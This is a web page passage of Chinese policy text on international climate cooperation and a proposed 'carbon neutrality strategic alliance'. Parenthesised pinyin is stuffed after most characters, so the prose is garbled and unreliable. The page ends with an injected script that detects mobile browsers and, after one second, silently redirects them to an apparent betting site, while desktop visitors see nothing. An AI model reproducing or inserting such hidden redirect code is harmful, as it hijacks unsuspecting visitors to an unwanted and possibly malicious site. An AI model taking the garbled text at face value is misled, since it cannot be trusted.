guo)(guo)(guo)际(ji)大科(ke)学工(gong)(gong)(gong)程与(yu)计(ji)划(hua)(hua),并(bing)进(jin)一步启动、组织实施(shi)由我方(fang)主导(dao)的(de)(de)该(gai)类(lei)工(gong)(gong)(gong)程与(yu)计(ji)划(hua)(hua),积(ji)极发(fa)挥我国(guo)(guo)(guo)在国(guo)(guo)(guo)际(ji)重(zhong)(zhong)大科(ke)技课(ke)题中(zhong)的(de)(de)作(zuo)(zuo)用。另一方(fang)面(mian),开展多项举措(cuo)吸引大批能够突破关(guan)(guan)键(jian)技术、发(fa)展低碳产业(ye)、带动应对气(qi)候变化的(de)(de)基础学科(ke)的(de)(de)战略科(ke)学家(jia)和领军人才(cai)来华创新(xin)创业(ye),同时吸引海(hai)外(wai)留学人员(yuan)回国(guo)(guo)(guo)工(gong)(gong)(gong)作(zuo)(zuo),缓解(jie)人才(cai)外(wai)流问题。

三是尽快启(qi)动(dong)建(jian)立(li)应对气(qi)(qi)候(hou)(hou)变(bian)化(hua)的(de)(de)(de)“碳(tan)(tan)中(zhong)(zhong)和(he)战(zhan)略(lve)(lve)(lve)联盟(meng)”,发起关(guan)于气(qi)(qi)候(hou)(hou)合(he)作(zuo)的(de)(de)(de)讨论,牵(qian)头达成(cheng)全球(qiu)性协议(yi)(yi)。确保在自由贸易(yi)协定中(zhong)(zhong)强(qiang)化(hua)中(zhong)(zhong)国(guo)(guo)(guo)气(qi)(qi)候(hou)(hou)战(zhan)略(lve)(lve)(lve)的(de)(de)(de)目标,提高应对气(qi)(qi)候(hou)(hou)变(bian)化(hua)在贸易(yi)政(zheng)策中(zhong)(zhong)的(de)(de)(de)地(di)(di)位,在双(shuang)边、多(duo)边及地(di)(di)区的(de)(de)(de)政(zheng)策对话、讨论会和(he)气(qi)(qi)候(hou)(hou)相关(guan)协议(yi)(yi)等外交场合(he),推广中(zhong)(zhong)国(guo)(guo)(guo)气(qi)(qi)候(hou)(hou)变(bian)化(hua)战(zhan)略(lve)(lve)(lve),逐步开展(zhan)外延(yan)活动(dong),包(bao)括通过外交手段和(he)中(zhong)(zhong)国(guo)(guo)(guo)气(qi)(qi)候(hou)(hou)代表团(tuan)等,与欧美一同加强(qiang)气(qi)(qi)候(hou)(hou)战(zhan)略(lve)(lve)(lve)方面的(de)(de)(de)协议(yi)(yi)制定和(he)共同努(nu)力,逐步形成(cheng)中(zhong)(zhong)国(guo)(guo)(guo)引领的(de)(de)(de)应对气(qi)(qi)候(hou)(hou)变(bian)化(hua)战(zhan)略(lve)(lve)(lve)联盟(meng)。尽快启(qi)动(dong)建(jian)立(li)“碳(tan)(tan)中(zhong)(zhong)和(he)战(zhan)略(lve)(lve)(lve)联盟(meng)”,基于越来越多(duo)的(de)(de)(de)国(guo)(guo)(guo)家承诺制定深度去碳(tan)(tan)化(hua)计划(hua),实现碳(tan)(tan)中(zhong)(zhong)和(he)的(de)(de)(de)国(guo)(guo)(guo)际(ji)(ji)合(he)作(zuo)必须尽快启(qi)动(dong),共同制定碳(tan)(tan)中(zhong)(zhong)和(he)路线图工具箱(xiang),促(cu)进国(guo)(guo)(guo)际(ji)(ji)绿(lv)色科技革(ge)命和(he)产业变(bian)革(ge),加速国(guo)(guo)(guo)际(ji)(ji)绿(lv)色融资环境的(de)(de)(de)健(jian)康发展(zhan),降(jiang)低相关(guan)产品关(guan)税。

var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();